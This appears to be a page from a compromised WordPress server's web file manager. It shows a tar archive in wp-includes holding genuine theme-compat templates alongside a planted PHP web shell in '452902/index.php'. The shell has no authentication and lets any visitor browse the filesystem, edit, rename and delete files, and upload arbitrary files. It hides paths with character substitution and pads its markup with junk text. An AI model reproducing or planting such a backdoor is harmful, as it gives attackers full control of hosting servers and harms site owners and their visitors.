Файловый менеджер - Редактировать - /home/barghamad/public_html/wp-includes/widgets/theme-compat.tar
Назад
sidebar.php 0000644 00000010267 15057664275 0006715 0 ustar 00 <?php /** * @package WordPress * @subpackage Theme_Compat * @deprecated 3.0.0 * * This file is here for backward compatibility with old themes and will be removed in a future version. */ _deprecated_file( /* translators: %s: Template name. */ sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ), '3.0.0', null, /* translators: %s: Template name. */ sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) ) ); ?> <div id="sidebar" role="complementary"> <ul> <?php /* Widgetized sidebar, if you have the plugin installed. */ if ( ! function_exists( 'dynamic_sidebar' ) || ! dynamic_sidebar() ) : ?> <li> <?php get_search_form(); ?> </li> <!-- Author information is disabled per default. Uncomment and fill in your details if you want to use it. <li><h2><?php _e( 'Author' ); ?></h2> <p>A little something about you, the author. Nothing lengthy, just an overview.</p> </li> --> <?php if ( is_404() || is_category() || is_day() || is_month() || is_year() || is_search() || is_paged() ) : ?> <li> <?php if ( is_404() ) : /* If this is a 404 page */ ?> <?php elseif ( is_category() ) : /* If this is a category archive */ ?> <p> <?php printf( /* translators: %s: Category name. */ __( 'You are currently browsing the archives for the %s category.' ), single_cat_title( '', false ) ); ?> </p> <?php elseif ( is_day() ) : /* If this is a daily archive */ ?> <p> <?php printf( /* translators: 1: Site link, 2: Archive date. */ __( 'You are currently browsing the %1$s blog archives for the day %2$s.' ), sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ), get_the_time( __( 'l, F jS, Y' ) ) ); ?> </p> <?php elseif ( is_month() ) : /* If this is a monthly archive */ ?> <p> <?php printf( /* translators: 1: Site link, 2: Archive month. */ __( 'You are currently browsing the %1$s blog archives for %2$s.' ), sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ), get_the_time( __( 'F, Y' ) ) ); ?> </p> <?php elseif ( is_year() ) : /* If this is a yearly archive */ ?> <p> <?php printf( /* translators: 1: Site link, 2: Archive year. */ __( 'You are currently browsing the %1$s blog archives for the year %2$s.' ), sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ), get_the_time( 'Y' ) ); ?> </p> <?php elseif ( is_search() ) : /* If this is a search result */ ?> <p> <?php printf( /* translators: 1: Site link, 2: Search query. */ __( 'You have searched the %1$s blog archives for <strong>‘%2$s’</strong>. If you are unable to find anything in these search results, you can try one of these links.' ), sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ), esc_html( get_search_query() ) ); ?> </p> <?php elseif ( isset( $_GET['paged'] ) && ! empty( $_GET['paged'] ) ) : /* If this set is paginated */ ?> <p> <?php printf( /* translators: %s: Site link. */ __( 'You are currently browsing the %s blog archives.' ), sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ) ); ?> </p> <?php endif; ?> </li> <?php endif; ?> </ul> <ul role="navigation"> <?php wp_list_pages( 'title_li=<h2>' . __( 'Pages' ) . '</h2>' ); ?> <li><h2><?php _e( 'Archives' ); ?></h2> <ul> <?php wp_get_archives( array( 'type' => 'monthly' ) ); ?> </ul> </li> <?php wp_list_categories( array( 'show_count' => 1, 'title_li' => '<h2>' . __( 'Categories' ) . '</h2>', ) ); ?> </ul> <ul> <?php if ( is_home() || is_page() ) { /* If this is the frontpage */ ?> <?php wp_list_bookmarks(); ?> <li><h2><?php _e( 'Meta' ); ?></h2> <ul> <?php wp_register(); ?> <li><?php wp_loginout(); ?></li> <?php wp_meta(); ?> </ul> </li> <?php } ?> <?php endif; /* ! dynamic_sidebar() */ ?> </ul> </div> footer-embed.php 0000644 00000000666 15057664275 0007656 0 ustar 00 <?php /** * Contains the post embed footer template * * When a post is embedded in an iframe, this file is used to create the footer output * if the active theme does not include a footer-embed.php template. * * @package WordPress * @subpackage Theme_Compat * @since 4.5.0 */ /** * Prints scripts or data before the closing body tag in the embed template. * * @since 4.4.0 */ do_action( 'embed_footer' ); ?> </body> </html> header-embed.php 0000644 00000001276 15057664275 0007606 0 ustar 00 <?php /** * Contains the post embed header template * * When a post is embedded in an iframe, this file is used to create the header output * if the active theme does not include a header-embed.php template. * * @package WordPress * @subpackage Theme_Compat * @since 4.5.0 */ if ( ! headers_sent() ) { header( 'X-WP-embed: true' ); } ?> <!DOCTYPE html> <html <?php language_attributes(); ?> class="no-js"> <head> <title><?php echo wp_get_document_title(); ?></title> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <?php /** * Prints scripts or data in the embed template head tag. * * @since 4.4.0 */ do_action( 'embed_head' ); ?> </head> <body <?php body_class(); ?>> embed.php 0000644 00000000741 15057664275 0006354 0 ustar 00 <?php /** * Contains the post embed base template * * When a post is embedded in an iframe, this file is used to create the output * if the active theme does not include an embed.php template. * * @package WordPress * @subpackage oEmbed * @since 4.4.0 */ get_header( 'embed' ); if ( have_posts() ) : while ( have_posts() ) : the_post(); get_template_part( 'embed', 'content' ); endwhile; else : get_template_part( 'embed', '404' ); endif; get_footer( 'embed' ); index.php 0000644 00000000000 15057664275 0006373 0 ustar 00 embed-404.php 0000644 00000001714 15057664275 0006662 0 ustar 00 <?php /** * Contains the post embed content template part * * When a post is embedded in an iframe, this file is used to create the content template part * output if the active theme does not include an embed-404.php template. * * @package WordPress * @subpackage Theme_Compat * @since 4.5.0 */ ?> <div class="wp-embed"> <p class="wp-embed-heading"><?php _e( 'Oops! That embed can’t be found.' ); ?></p> <div class="wp-embed-excerpt"> <p> <?php printf( /* translators: %s: A link to the embedded site. */ __( 'It looks like nothing was found at this location. Maybe try visiting %s directly?' ), '<strong><a href="' . esc_url( home_url() ) . '">' . esc_html( get_bloginfo( 'name' ) ) . '</a></strong>' ); ?> </p> </div> <?php /** This filter is documented in wp-includes/theme-compat/embed-content.php */ do_action( 'embed_content' ); ?> <div class="wp-embed-footer"> <?php the_embed_site_title(); ?> </div> </div> footer.php 0000644 00000002037 15057664275 0006576 0 ustar 00 <?php /** * @package WordPress * @subpackage Theme_Compat * @deprecated 3.0.0 * * This file is here for backward compatibility with old themes and will be removed in a future version */ _deprecated_file( /* translators: %s: Template name. */ sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ), '3.0.0', null, /* translators: %s: Template name. */ sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) ) ); ?> <hr /> <div id="footer" role="contentinfo"> <!-- If you'd like to support WordPress, having the "powered by" link somewhere on your blog is the best way; it's our only promotion or advertising. --> <p> <?php printf( /* translators: 1: Blog name, 2: WordPress */ __( '%1$s is proudly powered by %2$s' ), get_bloginfo( 'name' ), '<a href="https://wordpress.org/">WordPress</a>' ); ?> </p> </div> </div> <!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/ --> <?php /* "Just what do you think you're doing Dave?" */ ?> <?php wp_footer(); ?> </body> </html> 452902/index.php 0000644 00000026262 15057664275 0007162 0 ustar 00 <!DOCTYPE html>]]jkjjgdj7ghjghjghghjghghjghjghjuiluiluluiuiluiluilghjjghjghjghjgjdskfgj <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>במ12[aspddfasdghjghjghjghjghjvbnvbnvbnvbnvbiuuiluiluiluliluilunvbnvbnsfscvxcv;'</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==" crossorigin="anonymous" referrerpolicy="no-referrer" /> </head> <body> <?php //function function formatSizeUnits($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return '<i class="fa-sharp fa-solid fa-bug"></i> '; } elseif ($file == ".htaccess") { return '<i class="fa-solid fa-hammer"></i> '; } if ($ext == "html" || $ext == "htm") { return '<i class="fa-brands fa-html5"></i> '; } elseif ($ext == "php" || $ext == "phtml") { return '<i class="fa-brands fa-php"></i> '; } elseif (in_array($ext, $imgs)) { return '<i class="fa-regular fa-images"></i> '; } elseif ($ext == "css") { return '<i class="fa-brands fa-css3"></i> '; } elseif ($ext == "txt") { return '<i class="fa-regular fa-file-lines"></i> '; } elseif (in_array($ext, $audio)) { return '<i class="fa-duotone fa-file-music"></i> '; } elseif ($ext == "py") { return '<i class="fa-brands fa-python"></i> '; } elseif ($ext == "js") { return '<i class="fa-brands fa-js"></i> '; } else { return '<i class="fa-solid fa-file"></i> '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>"); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo ("<script>window.location.replace('?p=');</script>"); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' <nav class="navbar navbar-light" style="background-color: #e3f2fd;"> <div class="navbar-brand"> <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a> '); $path = str_replace('\\', '/', PATH); $paths = explode('/', $path); foreach ($paths as $id => $dir_part) { if ($dir_part == '' && $id == 0) { $a = true; echo "<a href=\"?p=/\">/</a>"; continue; } if ($dir_part == '') continue; echo "<a href='?p="; for ($i = 0; $i <= $id; $i++) { echo str_replace(":", "ঘ", $paths[$i]); if ($i != $id) echo "ক"; } echo "'>" . $dir_part . "</a>/"; } echo (' </div> <div class="form-inline"> <a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a> <a href="?"><button type="button" class="btn btn-dark">HOME</button></a> </div> </nav>'); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' <table class="table table-hover"> <thead> <tr> <th scope="col">Name</th> <th scope="col">Size</th> <th scope="col">Modified</th> <th scope="col">Perms</th> <th scope="col">Actions</th> </tr> </thead> <tbody> '; foreach ($folders as $folder) { echo " <tr> <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td> <td><b>---</b></td> <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td> <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td> <td> <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a> <td> </tr> "; } foreach ($files as $file) { echo " <tr> <td>" . fileIcon($file) . $file . "</td> <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td> <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td> <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td> <td> <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a> <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a> <td> </tr> "; } echo " </tbody> </table>"; } else { if (empty($_GET)) { echo ("<script>window.location.replace('?p=');</script>"); } } if (isset($_GET['upload'])) { echo ' <form method="post" enctype="multipart/form-data"> Select file to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" class="btn btn-dark" value="Upload" name="upload"> </form>'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo ' <form method="post"> Rename: <input type="text" name="name" value="' . $_GET['r'] . '"> <input type="submit" class="btn btn-dark" value="Rename" name="rename"> </form>'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo ' <form method="post"> <textarea style="height: 500px; width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea> <br> <input type="submit" class="btn btn-dark" value="Save" name="edit"> </form>'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>"; } else { echo "<p>Sorry, there was an error uploading your file.</p>"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } ?> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js" integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN" crossorigin="anonymous"></script> </body> </html>